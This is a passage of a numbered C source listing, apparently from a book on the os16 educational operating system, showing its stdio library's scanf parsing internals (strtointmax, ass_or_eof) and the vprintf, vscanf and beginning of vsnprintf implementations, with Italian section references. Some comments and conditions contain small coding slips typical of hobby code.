2810395                            consumed++;
2810396                            if (!flag_star)
2810397                              {
2810398                                ptr_sshort = va_arg (ap, signed short *);
2810399                               *ptr_sshort = value_i;
2810400                                assigned++;
2810401                              }
2810402                            f += 2;
2810403                            input = next;
2810404                          }
2810405                        else if (format[f+1] == 'u')
2810406                          {
2810407                            //--------------------- unsigned short, base 10.
2810408                            value_u = strtointmax (input, &next, 10, width);
2810409                            if (input == next)
2810410                              {
2810411                                return (ass_or_eof (consumed, assigned));
2810412                              }
2810413                            consumed++;
2810414                            if (!flag_star)
2810415                              {
2810416                                ptr_ushort = va_arg (ap, unsigned short *);
2810417                               *ptr_ushort = value_u;
2810418                                assigned++;
2810419                              }
2810420                            f += 2;
2810421                            input = next;
2810422                          }
2810423                        else if (format[f+1] == 'x' || format[f+2] == 'X')
2810424                          {
2810425                            //----------------------- signed short, base 16.
2810426                            value_i = strtointmax (input, &next, 16, width);
2810427                            if (input == next)
2810428                              {
2810429                                return (ass_or_eof (consumed, assigned));
2810430                              }
2810431                            consumed++;
2810432                            if (!flag_star)
2810433                              {
2810434                                ptr_sshort = va_arg (ap, signed short *);
2810435                               *ptr_sshort = value_i;
2810436                                assigned++;
2810437                              }
2810438                            f += 2;
2810439                            input = next;
```

```
2810440                         }
2810441                       else if (format[f+1] == 'n')
2810442                         {
2810443                           //----------- signed char, string index counter.
2810444                           ptr_sshort = va_arg (ap, signed short *);
2810445                          *ptr_sshort = (signed short)
2810446                                         (input - start + scanned);
2810447                           f += 2;
2810448                         }
2810449                       else
2810450                         {
2810451                           //------------ unsupported or unknown specifier.
2810452                           f += 1;
2810453                         }
2810454                     }
2810455                   //------------------------- There is no 'long long int'.
2810456                   else if (format[f] == 'l')
2810457                     {
2810458                       //---------------------------------------- long int.
2810459                       if      (format[f+1] == 'd')
2810460                         {
2810461                           //----------------------- signed long, base 10.
2810462                           value_i = strtointmax (input, &next, 10, width);
2810463                           if (input == next)
2810464                             {
2810465                               return (ass_or_eof (consumed, assigned));
2810466                             }
2810467                           consumed++;
2810468                           if (!flag_star)
2810469                             {
2810470                               ptr_slong = va_arg (ap, signed long *);
2810471                              *ptr_slong = value_i;
2810472                               assigned++;
2810473                             }
2810474                           f += 2;
2810475                           input = next;
2810476                         }
2810477                       else if (format[f+1] == 'i')
2810478                         {
2810479                           //------------------ signed long, base unknown.
2810480                           value_i = strtointmax (input, &next, 0, width);
2810481                           if (input == next)
2810482                             {
2810483                               return (ass_or_eof (consumed, assigned));
2810484                             }
2810485                           consumed++;
2810486                           if (!flag_star)
2810487                             {
2810488                               ptr_slong = va_arg (ap, signed long *);
2810489                              *ptr_slong = value_i;
2810490                               assigned++;
2810491                             }
```

```
2810492                         f += 2;
2810493                         input = next;
2810494                       }
2810495                     else if (format[f+1] == 'o')
2810496                       {
2810497                         //------------------------ signed long, base 8.
2810498                         value_i = strtointmax (input, &next, 8, width);
2810499                         if (input == next)
2810500                           {
2810501                             return (ass_or_eof (consumed, assigned));
2810502                           }
2810503                         consumed++;
2810504                         if (!flag_star)
2810505                           {
2810506                             ptr_slong = va_arg (ap, signed long *);
2810507                            *ptr_slong = value_i;
2810508                             assigned++;
2810509                           }
2810510                         f += 2;
2810511                         input = next;
2810512                       }
2810513                     else if (format[f+1] == 'u')
2810514                       {
2810515                         //---------------------- unsigned long, base 10.
2810516                         value_u = strtointmax (input, &next, 10, width);
2810517                         if (input == next)
2810518                           {
2810519                             return (ass_or_eof (consumed, assigned));
2810520                           }
2810521                         consumed++;
2810522                         if (!flag_star)
2810523                           {
2810524                             ptr_ulong = va_arg (ap, unsigned long *);
2810525                            *ptr_ulong = value_u;
2810526                             assigned++;
2810527                           }
2810528                         f += 2;
2810529                         input = next;
2810530                       }
2810531                     else if (format[f+1] == 'x' || format[f+2] == 'X')
2810532                       {
2810533                         //----------------------- signed long, base 16.
2810534                         value_i = strtointmax (input, &next, 16, width);
2810535                         if (input == next)
2810536                           {
2810537                             return (ass_or_eof (consumed, assigned));
2810538                           }
2810539                         consumed++;
2810540                         if (!flag_star)
2810541                           {
2810542                             ptr_slong = va_arg (ap, signed long *);
2810543                            *ptr_slong = value_i;
```

```
2810544                     assigned++;
2810545                   }
2810546                 f += 2;
2810547                 input = next;
2810548               }
2810549             else if (format[f+1] == 'n')
2810550               {
2810551                 //----------- signed char, string index counter.
2810552                 ptr_slong = va_arg (ap, signed long *);
2810553                *ptr_slong = (signed long)
2810554                             (input - start + scanned);
2810555                 f += 2;
2810556               }
2810557             else
2810558               {
2810559                 //------------ unsupported or unknown specifier.
2810560                 f += 1;
2810561               }
2810562           }
2810563         else if (format[f] == 'j')
2810564           {
2810565             //---------------------------------------- intmax_t.
2810566             if      (format[f+1] == 'd')
2810567               {
2810568                 //-------------------------- intmax_t, base 10.
2810569                 value_i = strtointmax (input, &next, 10, width);
2810570                 if (input == next)
2810571                   {
2810572                     return (ass_or_eof (consumed, assigned));
2810573                   }
2810574                 consumed++;
2810575                 if (!flag_star)
2810576                   {
2810577                     ptr_simax = va_arg (ap, intmax_t *);
2810578                    *ptr_simax = value_i;
2810579                     assigned++;
2810580                   }
2810581                 f += 2;
2810582                 input = next;
2810583               }
2810584             else if (format[f+1] == 'i')
2810585               {
2810586                 //--------------------- intmax_t, base unknown.
2810587                 value_i = strtointmax (input, &next, 0, width);
2810588                 if (input == next)
2810589                   {
2810590                     return (ass_or_eof (consumed, assigned));
2810591                   }
2810592                 consumed++;
2810593                 if (!flag_star)
2810594                   {
2810595                     ptr_simax = va_arg (ap, intmax_t *);
```

```
2810596                            *ptr_simax = value_i;
2810597                             assigned++;
2810598                           }
2810599                         f += 2;
2810600                         input = next;
2810601                       }
2810602                     else if (format[f+1] == 'o')
2810603                       {
2810604                         //--------------------------- intmax_t, base 8.
2810605                         value_i = strtointmax (input, &next, 8, width);
2810606                         if (input == next)
2810607                           {
2810608                             return (ass_or_eof (consumed, assigned));
2810609                           }
2810610                         consumed++;
2810611                         if (!flag_star)
2810612                           {
2810613                             ptr_simax = va_arg (ap, intmax_t *);
2810614                            *ptr_simax = value_i;
2810615                             assigned++;
2810616                           }
2810617                         f += 2;
2810618                         input = next;
2810619                       }
2810620                     else if (format[f+1] == 'u')
2810621                       {
2810622                         //------------------------- uintmax_t, base 10.
2810623                         value_u = strtointmax (input, &next, 10, width);
2810624                         if (input == next)
2810625                           {
2810626                             return (ass_or_eof (consumed, assigned));
2810627                           }
2810628                         consumed++;
2810629                         if (!flag_star)
2810630                           {
2810631                             ptr_uimax = va_arg (ap, uintmax_t *);
2810632                            *ptr_uimax = value_u;
2810633                             assigned++;
2810634                           }
2810635                         f += 2;
2810636                         input = next;
2810637                       }
2810638                     else if (format[f+1] == 'x' || format[f+2] == 'X')
2810639                       {
2810640                         //-------------------------- intmax_t, base 16.
2810641                         value_i = strtointmax (input, &next, 16, width);
2810642                         if (input == next)
2810643                           {
2810644                             return (ass_or_eof (consumed, assigned));
2810645                           }
2810646                         consumed++;
2810647                         if (!flag_star)
```

```
2810648                         {
2810649                           ptr_simax = va_arg (ap, intmax_t *);
2810650                          *ptr_simax = value_i;
2810651                           assigned++;
2810652                         }
2810653                       f += 2;
2810654                       input = next;
2810655                     }
2810656                   else if (format[f+1] == 'n')
2810657                     {
2810658                       //----------- signed char, string index counter.
2810659                       ptr_simax = va_arg (ap, intmax_t *);
2810660                      *ptr_simax = (intmax_t)
2810661                                    (input - start + scanned);
2810662                       f += 2;
2810663                     }
2810664                   else
2810665                     {
2810666                       //------------ unsupported or unknown specifier.
2810667                       f += 1;
2810668                     }
2810669                 }
2810670               else if (format[f] == 'z')
2810671                 {
2810672                   //----------------------------------------- size_t.
2810673                   if      (format[f+1] == 'd')
2810674                     {
2810675                       //---------------------------- size_t, base 10.
2810676                       value_i = strtointmax (input, &next, 10, width);
2810677                       if (input == next)
2810678                         {
2810679                           return (ass_or_eof (consumed, assigned));
2810680                         }
2810681                       consumed++;
2810682                       if (!flag_star)
2810683                         {
2810684                           ptr_size = va_arg (ap, size_t *);
2810685                          *ptr_size = value_i;
2810686                           assigned++;
2810687                         }
2810688                       f += 2;
2810689                       input = next;
2810690                     }
2810691                   else if (format[f+1] == 'i')
2810692                     {
2810693                       //------------------------ size_t, base unknown.
2810694                       value_i = strtointmax (input, &next, 0, width);
2810695                       if (input == next)
2810696                         {
2810697                           return (ass_or_eof (consumed, assigned));
2810698                         }
2810699                       consumed++;
```

```
2810700                     if (!flag_star)
2810701                       {
2810702                         ptr_size = va_arg (ap, size_t *);
2810703                        *ptr_size = value_i;
2810704                         assigned++;
2810705                       }
2810706                     f += 2;
2810707                     input = next;
2810708                   }
2810709                 else if (format[f+1] == 'o')
2810710                   {
2810711                     //----------------------------- size_t, base 8.
2810712                     value_i = strtointmax (input, &next, 8, width);
2810713                     if (input == next)
2810714                       {
2810715                         return (ass_or_eof (consumed, assigned));
2810716                       }
2810717                     consumed++;
2810718                     if (!flag_star)
2810719                       {
2810720                         ptr_size = va_arg (ap, size_t *);
2810721                        *ptr_size = value_i;
2810722                         assigned++;
2810723                       }
2810724                     f += 2;
2810725                     input = next;
2810726                   }
2810727                 else if (format[f+1] == 'u')
2810728                   {
2810729                     //---------------------------- size_t, base 10.
2810730                     value_u = strtointmax (input, &next, 10, width);
2810731                     if (input == next)
2810732                       {
2810733                         return (ass_or_eof (consumed, assigned));
2810734                       }
2810735                     consumed++;
2810736                     if (!flag_star)
2810737                       {
2810738                         ptr_size = va_arg (ap, size_t *);
2810739                        *ptr_size = value_u;
2810740                         assigned++;
2810741                       }
2810742                     f += 2;
2810743                     input = next;
2810744                   }
2810745                 else if (format[f+1] == 'x' || format[f+2] == 'X')
2810746                   {
2810747                     //---------------------------- size_t, base 16.
2810748                     value_i = strtointmax (input, &next, 16, width);
2810749                     if (input == next)
2810750                       {
2810751                         return (ass_or_eof (consumed, assigned));
```

```
2810752                         }
2810753                       consumed++;
2810754                       if (!flag_star)
2810755                         {
2810756                           ptr_size = va_arg (ap, size_t *);
2810757                          *ptr_size = value_i;
2810758                           assigned++;
2810759                         }
2810760                       f += 2;
2810761                       input = next;
2810762                     }
2810763                   else if (format[f+1] == 'n')
2810764                     {
2810765                       //----------- signed char, string index counter.
2810766                       ptr_size = va_arg (ap, size_t *);
2810767                      *ptr_size = (size_t) (input - start + scanned);
2810768                       f += 2;
2810769                     }
2810770                   else
2810771                     {
2810772                       //------------ unsupported or unknown specifier.
2810773                       f += 1;
2810774                     }
2810775                 }
2810776               else if (format[f] == 't')
2810777                 {
2810778                   //--------------------------------------- ptrdiff_t.
2810779                   if      (format[f+1] == 'd')
2810780                     {
2810781                       //-------------------------- ptrdiff_t, base 10.
2810782                       value_i = strtointmax (input, &next, 10, width);
2810783                       if (input == next)
2810784                         {
2810785                           return (ass_or_eof (consumed, assigned));
2810786                         }
2810787                       consumed++;
2810788                       if (!flag_star)
2810789                         {
2810790                           ptr_ptrdiff = va_arg (ap, ptrdiff_t *);
2810791                          *ptr_ptrdiff = value_i;
2810792                           assigned++;
2810793                         }
2810794                       f += 2;
2810795                       input = next;
2810796                     }
2810797                   else if (format[f+1] == 'i')
2810798                     {
2810799                       //--------------------- ptrdiff_t, base unknown.
2810800                       value_i = strtointmax (input, &next, 0, width);
2810801                       if (input == next)
2810802                         {
2810803                           return (ass_or_eof (consumed, assigned));
```

```
2810804                             }
2810805                           consumed++;
2810806                           if (!flag_star)
2810807                             {
2810808                               ptr_ptrdiff = va_arg (ap, ptrdiff_t *);
2810809                              *ptr_ptrdiff = value_i;
2810810                               assigned++;
2810811                             }
2810812                           f += 2;
2810813                           input = next;
2810814                         }
2810815                       else if (format[f+1] == 'o')
2810816                         {
2810817                           //-------------------------- ptrdiff_t, base 8.
2810818                           value_i = strtointmax (input, &next, 8, width);
2810819                           if (input == next)
2810820                             {
2810821                               return (ass_or_eof (consumed, assigned));
2810822                             }
2810823                           consumed++;
2810824                           if (!flag_star)
2810825                             {
2810826                               ptr_ptrdiff = va_arg (ap, ptrdiff_t *);
2810827                              *ptr_ptrdiff = value_i;
2810828                               assigned++;
2810829                             }
2810830                           f += 2;
2810831                           input = next;
2810832                         }
2810833                       else if (format[f+1] == 'u')
2810834                         {
2810835                           //------------------------- ptrdiff_t, base 10.
2810836                           value_u = strtointmax (input, &next, 10, width);
2810837                           if (input == next)
2810838                             {
2810839                               return (ass_or_eof (consumed, assigned));
2810840                             }
2810841                           consumed++;
2810842                           if (!flag_star)
2810843                             {
2810844                               ptr_ptrdiff = va_arg (ap, ptrdiff_t *);
2810845                              *ptr_ptrdiff = value_u;
2810846                               assigned++;
2810847                             }
2810848                           f += 2;
2810849                           input = next;
2810850                         }
2810851                       else if (format[f+1] == 'x' || format[f+2] == 'X')
2810852                         {
2810853                           //------------------------- ptrdiff_t, base 16.
2810854                           value_i = strtointmax (input, &next, 16, width);
2810855                           if (input == next)
```

```
2810856                         {
2810857                           return (ass_or_eof (consumed, assigned));
2810858                         }
2810859                       consumed++;
2810860                       if (!flag_star)
2810861                         {
2810862                           ptr_ptrdiff = va_arg (ap, ptrdiff_t *);
2810863                          *ptr_ptrdiff = value_i;
2810864                           assigned++;
2810865                         }
2810866                       f += 2;
2810867                       input = next;
2810868                     }
2810869                   else if (format[f+1] == 'n')
2810870                     {
2810871                       //----------- signed char, string index counter.
2810872                       ptr_ptrdiff = va_arg (ap, ptrdiff_t *);
2810873                      *ptr_ptrdiff = (ptrdiff_t)
2810874                                     (input - start + scanned);
2810875                       f += 2;
2810876                     }
2810877                   else
2810878                     {
2810879                       //------------ unsupported or unknown specifier.
2810880                       f += 1;
2810881                     }
2810882                 }
2810883               //
2810884               // Specifiers with no length modifier.
2810885               //
2810886               if      (format[f] == 'd')
2810887                 {
2810888                   //----------------------- signed short, base 10.
2810889                   value_i = strtointmax (input, &next, 10, width);
2810890                   if (input == next)
2810891                     {
2810892                       return (ass_or_eof (consumed, assigned));
2810893                     }
2810894                   consumed++;
2810895                   if (!flag_star)
2810896                     {
2810897                       ptr_sshort = va_arg (ap, signed short *);
2810898                      *ptr_sshort = value_i;
2810899                       assigned++;
2810900                     }
2810901                   f += 1;
2810902                   input = next;
2810903                 }
2810904               else if (format[f] == 'i')
2810905                 {
2810906                   //------------------------ signed int, base unknown.
2810907                   value_i = strtointmax (input, &next, 0, width);
```

```
2810908                         if (input == next)
2810909                           {
2810910                             return (ass_or_eof (consumed, assigned));
2810911                           }
2810912                         consumed++;
2810913                         if (!flag_star)
2810914                           {
2810915                             ptr_sint = va_arg (ap, signed int *);
2810916                            *ptr_sint = value_i;
2810917                             assigned++;
2810918                           }
2810919                         f += 1;
2810920                         input = next;
2810921                       }
2810922                     else if (format[f] == 'o')
2810923                       {
2810924                         //----------------------------- signed int, base 8.
2810925                         value_i = strtointmax (input, &next, 8, width);
2810926                         if (input == next)
2810927                           {
2810928                             return (ass_or_eof (consumed, assigned));
2810929                           }
2810930                         consumed++;
2810931                         if (!flag_star)
2810932                           {
2810933                             ptr_sint = va_arg (ap, signed int *);
2810934                            *ptr_sint = value_i;
2810935                             assigned++;
2810936                           }
2810937                         f += 1;
2810938                         input = next;
2810939                       }
2810940                     else if (format[f] == 'u')
2810941                       {
2810942                         //------------------------ unsigned short, base 10.
2810943                         value_u = strtointmax (input, &next, 10, width);
2810944                         if (input == next)
2810945                           {
2810946                             return (ass_or_eof (consumed, assigned));
2810947                           }
2810948                         consumed++;
2810949                         if (!flag_star)
2810950                           {
2810951                             ptr_uint = va_arg (ap, unsigned int *);
2810952                            *ptr_uint = value_u;
2810953                             assigned++;
2810954                           }
2810955                         f += 1;
2810956                         input = next;
2810957                       }
2810958                     else if (format[f] == 'x' || format[f] == 'X')
2810959                       {
```

```
2810960                     //-------------------------- signed short, base 16.
2810961                     value_i = strtointmax (input, &next, 16, width);
2810962                     if (input == next)
2810963                       {
2810964                         return (ass_or_eof (consumed, assigned));
2810965                       }
2810966                     consumed++;
2810967                     if (!flag_star)
2810968                       {
2810969                         ptr_sint = va_arg (ap, signed int *);
2810970                        *ptr_sint = value_i;
2810971                         assigned++;
2810972                       }
2810973                     f += 1;
2810974                     input = next;
2810975                   }
2810976                 else if (format[f] == 'c')
2810977                   {
2810978                     //----------------------------------------- char[].
2810979                     if (width == 0) width = 1;
2810980                     //
2810981                     if (!flag_star) ptr_char = va_arg (ap, char *);
2810982                     //
2810983                     for (count = 0;
2810984                          width > 0 && *input != 0;
2810985                          width--, ptr_char++, input++)
2810986                       {
2810987                         if (!flag_star) *ptr_char = *input;
2810988                         //
2810989                         count++;
2810990                       }
2810991                     //
2810992                     if (count)               consumed++;
2810993                     if (count && !flag_star) assigned++;
2810994                     //
2810995                     f += 1;
2810996                   }
2810997                 else if (format[f] == 's')
2810998                   {
2810999                     //----------------------------------------- string.
2811000                     if (!flag_star) ptr_char = va_arg (ap, char *);
2811001                     //
2811002                     for (count = 0;
2811003                          !isspace (*input) && *input != 0;
2811004                          ptr_char++, input++)
2811005                       {
2811006                         if (!flag_star) *ptr_char = *input;
2811007                         //
2811008                         count++;
2811009                       }
2811010                     if (!flag_star) *ptr_char = 0;
2811011                     //
```

```
2811012                     if (count)                consumed++;
2811013                     if (count && !flag_star) assigned++;
2811014                     //
2811015                     f += 1;
2811016                   }
2811017                 else if (format[f] == '[')
2811018                   {
2811019                     //
2811020                     f++;
2811021                     //
2811022                     if (format[f] == '^')
2811023                       {
2811024                         inverted = 1;
2811025                         f++;
2811026                       }
2811027                     else
2811028                       {
2811029                         inverted = 0;
2811030                       }
2811031                     //
2811032                     // Reset ascii array.
2811033                     //
2811034                     for (index = 0; index < 128; index++)
2811035                       {
2811036                         ascii[index] = inverted;
2811037                       }
2811038                     //
2811039                     //
2811040                     //
2811041                     for (count = 0;&format[f] < end_format; count++)
2811042                       {
2811043                         if (format[f] == ']' && count > 0)
2811044                           {
2811045                             break;
2811046                           }
2811047                         //
2811048                         // Check for an interval.
2811049                         //
2811050                         if (format[f+1] == '-'
2811051                          && format[f+2] != ']'
2811052                          && format[f+2] != 0)
2811053                           {
2811054                             //
2811055                             // Interval.
2811056                             //
2811057                             for (index = format[f];
2811058                                  index <= format[f+2];
2811059                                  index++)
2811060                               {
2811061                                 ascii[index] = !inverted;
2811062                               }
2811063                             f += 3;
```

```
2811064                         continue;
2811065                       }
2811066                     //
2811067                     // Single character.
2811068                     //
2811069                     index = format[f];
2811070                     ascii[index] = !inverted;
2811071                     f++;
2811072                   }
2811073                 //
2811074                 // Is the scan correctly finished?.
2811075                 //
2811076                 if (format[f] != ']')
2811077                   {
2811078                     return (ass_or_eof (consumed, assigned));
2811079                   }
2811080                 //
2811081                 // The ascii table is populated.
2811082                 //
2811083                 if (width == 0) width = SIZE_MAX;
2811084                 //
2811085                 // Scan the input string.
2811086                 //
2811087                 if (!flag_star) ptr_char = va_arg (ap, char *);
2811088                 //
2811089                 for (count = 0;
2811090                      width > 0 && *input != 0;
2811091                      width--, ptr_char++, input++)
2811092                   {
2811093                     index = *input;
2811094                     if (ascii[index])
2811095                       {
2811096                         if (!flag_star) *ptr_char = *input;
2811097                         count++;
2811098                       }
2811099                     else
2811100                       {
2811101                         break;
2811102                       }
2811103                   }
2811104                 //
2811105                 if (count)               consumed++;
2811106                 if (count && !flag_star) assigned++;
2811107                 //
2811108                 f += 1;
2811109               }
2811110             else if (format[f] == 'p')
2811111               {
2811112                 //------------------------------------------ void *.
2811113                 value_i = strtointmax (input, &next, 16, width);
2811114                 if (input == next)
2811115                   {
```

```
2811116                         return (ass_or_eof (consumed, assigned));
2811117                       }
2811118                     consumed++;
2811119                     if (!flag_star)
2811120                       {
2811121                         ptr_void = va_arg (ap, void **);
2811122                        *ptr_void = (void *) ((int) value_i);
2811123                         assigned++;
2811124                       }
2811125                     f += 1;
2811126                     input = next;
2811127                   }
2811128                 else if (format[f] == 'n')
2811129                   {
2811130                     //--------------- signed char, string index counter.
2811131                     ptr_sint = va_arg (ap, signed int *);
2811132                    *ptr_sint = (signed char) (input - start + scanned);
2811133                     f += 1;
2811134                   }
2811135                 else
2811136                   {
2811137                     //---------------- unsupported or unknown specifier.
2811138                     ;
2811139                   }
2811140 
2811141                 //------------------------------------------------------
2811142                 // End of specifier.
2811143                 //------------------------------------------------------
2811144 
2811145                 width_string[0]     = '\0';
2811146                 specifier           = 0;
2811147                 specifier_flags     = 0;
2811148                 specifier_width     = 0;
2811149                 specifier_type      = 0;
2811150                 flag_star           = 0;
2811151 
2811152               }
2811153           }
2811154         //
2811155         // The format or the input string is terminated.
2811156         //
2811157         if  (&format[f] < end_format && stream)
2811158           {
2811159             //
2811160             // Only the input string is finished, and the input comes
2811161             // from a stream, so another read will be done.
2811162             //
2811163             scanned += (int) (input - start);
2811164             continue;
2811165           }
2811166         //
2811167         // The format string is terminated.
```

```
2811168           //
2811169           return (ass_or_eof (consumed, assigned));
2811170         }
2811171 }
2811172 //----------------------------------------------------------------------
2811173 static intmax_t
2811174 strtointmax (const char *restrict string, char **endptr,
2811175              int base, size_t max_width)
2811176 {
2811177     int      i;
2811178     int      d;                  // Digits counter.
2811179     int      sign = +1;
2811180     intmax_t number;
2811181     intmax_t previous;
2811182     int      digit;
2811183     //
2811184     bool     flag_prefix_oct = 0;
2811185     bool     flag_prefix_exa = 0;
2811186     bool     flag_prefix_dec = 0;
2811187     //
2811188     // If the 'max_width' value is zero, fix it to the maximum
2811189     // that it can represent.
2811190     //
2811191     if (max_width == 0)
2811192       {
2811193         max_width = SIZE_MAX;
2811194       }
2811195     //
2811196     // Eat initial spaces, but if there are spaces, there is an
2811197     // error inside the calling function!
2811198     //
2811199     for (i = 0; isspace (string[i]); i++)
2811200       {
2811201         fprintf (stderr, "libc error: file \"%s\", line %i\n",
2811202                  __FILE__, __LINE__);
2811203         ;
2811204       }
2811205     //
2811206     // Check sign. The 'max_width' counts also the sign, if there is
2811207     // one.
2811208     //
2811209     if (string[i] == '+')
2811210       {
2811211         sign = +1;
2811212         i++;
2811213         max_width--;
2811214       }
2811215     else if (string[i] == '-')
2811216       {
2811217         sign = -1;
2811218         i++;
2811219         max_width--;
```

```
2811220          }
2811221        //
2811222        // Check for prefix.
2811223        //
2811224        if (string[i] == '0')
2811225          {
2811226            if (string[i+1] == 'x' || string[i+1] == 'X')
2811227              {
2811228                flag_prefix_exa = 1;
2811229              }
2811230            if (isdigit (string[i+1]))
2811231              {
2811232                flag_prefix_oct = 1;
2811233              }
2811234          }
2811235        //
2811236        if (string[i] > '0' && string[i] <= '9')
2811237          {
2811238            flag_prefix_dec = 1;
2811239          }
2811240        //
2811241        // Check compatibility with requested base.
2811242        //
2811243        if (flag_prefix_exa)
2811244          {
2811245            if (base == 0)
2811246              {
2811247                base = 16;
2811248              }
2811249            else if (base == 16)
2811250              {
2811251                ;    // Ok.
2811252              }
2811253            else
2811254              {
2811255                //
2811256                // Incompatible sequence: only the initial zero is reported.
2811257                //
2811258                *endptr = &string[i+1];
2811259                return ((intmax_t) 0);
2811260              }
2811261            //
2811262            // Move on, after the `0x' prefix.
2811263            //
2811264            i += 2;
2811265          }
2811266        //
2811267        if (flag_prefix_oct)
2811268          {
2811269            if (base == 0)
2811270              {
2811271                base = 8;
```

```
2811272                }
2811273              //
2811274              // Move on, after the '0' prefix.
2811275              //
2811276              i += 1;
2811277            }
2811278          //
2811279          if (flag_prefix_dec)
2811280            {
2811281              if (base == 0)
2811282                {
2811283                  base = 10;
2811284                }
2811285            }
2811286          //
2811287          // Scan the string.
2811288          //
2811289          for (d = 0, number = 0; d < max_width && string[i] != 0; i++, d++)
2811290            {
2811291              if      (string[i] >= '0' && string[i] <= '9')
2811292                {
2811293                  digit = string[i] - '0';
2811294                }
2811295              else if (string[i] >= 'A' && string[i] <= 'F')
2811296                {
2811297                  digit = string[i] - 'A' + 10;
2811298                }
2811299              else if (string[i] >= 'a' && string[i] <= 'f')
2811300                {
2811301                  digit = string[i] - 'a' + 10;
2811302                }
2811303              else
2811304                {
2811305                  digit = 999;
2811306                }
2811307              //
2811308              // Give a sign to the digit.
2811309              //
2811310              digit *= sign;
2811311              //
2811312              // Compare with the base.
2811313              //
2811314              if (base > (digit * sign))
2811315                {
2811316                  //
2811317                  // Check if the current digit can be safely computed.
2811318                  //
2811319                  previous = number;
2811320                  number  *= base;
2811321                  number  += digit;
2811322                  if (number / base != previous)
2811323                    {
```

```
2811324                     //
2811325                     // Out of range.
2811326                     //
2811327                     *endptr = &string[i+1];
2811328                     errset (ERANGE);        // Result too large.
2811329                     if (sign > 0)
2811330                       {
2811331                         return (INTMAX_MAX);
2811332                       }
2811333                     else
2811334                       {
2811335                         return (INTMAX_MIN);
2811336                       }
2811337                   }
2811338               }
2811339             else
2811340               {
2811341                 *endptr = &string[i];
2811342                 return (number);
2811343               }
2811344           }
2811345         //
2811346         // The string is finished or the max digits length is reached.
2811347         //
2811348         *endptr = &string[i];
2811349         //
2811350         return (number);
2811351     }
2811352     //----------------------------------------------------------------------
2811353     static int
2811354     ass_or_eof (int consumed, int assigned)
2811355     {
2811356         if (consumed == 0)
2811357           {
2811358             return (EOF);
2811359           }
2811360         else
2811361           {
2811362             return (assigned);
2811363           }
2811364     }
2811365     //----------------------------------------------------------------------
```

106.9.39 lib/stdio/vprintf.c

Si veda la sezione 99.128.

```
2820001     #include <stdio.h>
2820002     #include <sys/types.h>
2820003     #include <sys/os16.h>
2820004     #include <string.h>
```

```
2820005 #include <unistd.h>
2820006 //----------------------------------------------------------------------
2820007 int
2820008 vprintf (char *restrict format, va_list arg)
2820009 {
2820010     ssize_t     size_written;
2820011     size_t      size;
2820012     size_t      size_total;
2820013     int         status;
2820014     char        string[BUFSIZ];
2820015     char       *buffer = string;
2820016 
2820017     buffer[0] = 0;
2820018     status = vsprintf (buffer, format, arg);
2820019 
2820020     size = strlen (buffer);
2820021     if (size >= BUFSIZ)
2820022       {
2820023         size = BUFSIZ;
2820024       }
2820025 
2820026     for (size_total = 0, size_written = 0;
2820027          size_total < size;
2820028          size_total += size_written, buffer += size_written)
2820029       {
2820030         //
2820031         // Write to the standard output: file descriptor n. 1.
2820032         //
2820033         size_written = write (STDOUT_FILENO, buffer, size - size_total);
2820034         if (size_written < 0)
2820035           {
2820036             return (size_total);
2820037           }
2820038       }
2820039     return (size);
2820040 }
```

106.9.40 lib/stdio/vscanf.c

Si veda la sezione 99.129.

```
2830001 #include <stdio.h>
2830002 //----------------------------------------------------------------------
2830003 int
2830004 vscanf (const char *restrict format, va_list ap)
2830005 {
2830006     return (vfscanf (stdin, format, ap));
2830007 }
2830008 //----------------------------------------------------------------------
```

106.9.41 lib/stdio/vsnprintf.c

Si veda la sezione 99.128.

```
2840001 #include <stdint.h>
2840002 #include <stdbool.h>
2840003 #include <stdlib.h>
2840004 #include <string.h>
2840005 #include <stdio.h>
2840006 //----------------------------------------------------------------------
2840007 static size_t uimaxtoa      (uintmax_t integer, char *buffer, int base,
2840008                              int uppercase, size_t size);
2840009 static size_t imaxtoa       (intmax_t  integer, char *buffer, int base,
2840010                              int uppercase, size_t size);
2840011 static size_t simaxtoa      (intmax_t  integer, char *buffer, int base,
2840012                              int uppercase, size_t size);
2840013 static size_t uimaxtoa_fill (uintmax_t integer, char *buffer, int base,
2840014                              int uppercase, int width, int filler,
2840015                              int max);
2840016 static size_t imaxtoa_fill  (intmax_t  integer, char *buffer, int base,
2840017                              int uppercase, int width, int filler,
2840018                              int max);
2840019 static size_t simaxtoa_fill (intmax_t  integer, char *buffer, int base,
2840020                              int uppercase, int width, int filler,
2840021                              int max);
2840022 static size_t strtostr_fill (char *string, char *buffer, int width,
2840023                              int filler, int max);
2840024 //----------------------------------------------------------------------
2840025 int
2840026 vsnprintf (char *restrict string, size_t size,
2840027            const char *restrict format, va_list ap)
2840028 {
2840029     //
2840030     // We produce at most `size-1' characters, + '\0'.
2840031     // `size' is used also as the max size for internal
2840032     // strings, but only if it is not too big.
2840033     //
2840034     int         f                    = 0;
2840035     int         s                    = 0;
2840036     int         remain               = size - 1;
2840037     //
2840038     bool        specifier            = 0;
2840039     bool        specifier_flags      = 0;
2840040     bool        specifier_width      = 0;
2840041     bool        specifier_precision  = 0;
2840042     bool        specifier_type       = 0;
2840043     //
2840044     bool        flag_plus            = 0;
2840045     bool        flag_minus           = 0;
2840046     bool        flag_space           = 0;
2840047     bool        flag_alternate       = 0;
2840048     bool        flag_zero            = 0;
2840049     //
```

```
2840050     int         alignment;
2840051     int         filler;
2840052     //
2840053     intmax_t    value_i;
2840054     uintmax_t   value_ui;
2840055     char       *value_cp;
2840056     //
2840057     size_t      width;
2840058     size_t      precision;
2840059     #define     str_size  BUFSIZ/2
2840060     char        width_string[str_size];
2840061     char        precision_string[str_size];
2840062     int         w;
2840063     int         p;
2840064     //
2840065     width_string[0]     = '\0';
2840066     precision_string[0] = '\0';
2840067     //
2840068     while (format[f] != 0 && s < (size - 1))
2840069       {
2840070         if (!specifier)
2840071           {
2840072             //------------------- The context is not inside a specifier.
2840073             if (format[f] != '%')
2840074               {
2840075                 string[s] = format[f];
2840076                 s++;
2840077                 remain--;
2840078                 f++;
2840079                 continue;
2840080               }
2840081             if (format[f] == '%' && format[f+1] == '%')
2840082               {
2840083                 string[s] = '%';
2840084                 f++;
2840085                 f++;
2840086                 s++;
2840087                 remain--;
2840088                 continue;
2840089               }
2840090             if (format[f] == '%')
2840091               {
2840092                 f++;
2840093                 specifier = 1;
2840094                 specifier_flags = 1;
2840095                 continue;
2840096               }
2840097           }
2840098         //
2840099         if (specifier && specifier_flags)
2840100           {
2840101             //------------------- The context is inside specifier flags.
```

```
2840102                if (format[f] == '+')
2840103                  {
2840104                    flag_plus = 1;
2840105                    f++;
2840106                    continue;
2840107                  }
2840108                else if (format[f] == '-')
2840109                  {
